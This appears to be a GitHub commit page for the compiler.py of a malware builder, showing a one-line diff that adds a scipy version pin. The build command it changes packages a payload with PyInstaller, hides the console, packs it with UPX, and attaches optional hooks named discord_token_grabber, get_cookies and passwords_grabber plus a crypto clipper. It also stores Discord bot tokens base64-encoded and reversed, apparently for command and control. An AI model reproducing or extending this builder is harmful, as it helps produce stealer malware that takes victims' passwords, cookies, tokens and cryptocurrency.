Skip to content

Commit e0045f8

Browse files
authored
Updated compiler.py fo specify scipy version
1 parent 6395d13 commit e0045f8

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

compiler.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def compile(debug_mode):
1919
if len(config['SETTINGS']) != 13 or len(config['FUNCTIONALITY']) != 27:
2020
return 'Config corrupted'
2121

22-
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & pip uninstall -y numpy > nul & pip install numpy==1.25.2 > nul & title Compiling source code... & pyinstaller -F ' + ('--noconsole ' if not debug_mode else '') + '--upx-dir "resources/" ' + ('--add-data "resources/libopus-0.x64.dll;." ' if config['FUNCTIONALITY']['mc_live'] == 'True' else '') + '--runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '') + ('--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py ' if config['FUNCTIONALITY']['grabber'] == 'True' else '') + ('--add-data="resources/crypto_clipper.json;." ' if config['FUNCTIONALITY']['crclipr'] == 'True' else '') + '--icon "' + (config['SETTINGS']['icon_path'] if config['SETTINGS']['custom_icon'] == 'True' else 'NONE' ) + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
22+
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & pip uninstall -y numpy > nul & pip install numpy==1.25.2 > nul & pip uninstall -y scipy > nul & pip install scipy==1.13.1 > nul & title Compiling source code... & pyinstaller -F ' + ('--noconsole ' if not debug_mode else '') + '--upx-dir "resources/" ' + ('--add-data "resources/libopus-0.x64.dll;." ' if config['FUNCTIONALITY']['mc_live'] == 'True' else '') + '--runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '') + ('--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py ' if config['FUNCTIONALITY']['grabber'] == 'True' else '') + ('--add-data="resources/crypto_clipper.json;." ' if config['FUNCTIONALITY']['crclipr'] == 'True' else '') + '--icon "' + (config['SETTINGS']['icon_path'] if config['SETTINGS']['custom_icon'] == 'True' else 'NONE' ) + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
2323

2424
token_1 = base64.b64encode(config['SETTINGS']['bot_token_1'].encode()).decode()[::-1]
2525
token_2 = base64.b64encode(config['SETTINGS']['bot_token_2'].encode()).decode()[::-1] if config['SETTINGS']['bot_token_2'] != '' else None

0 commit comments

Comments
 (0)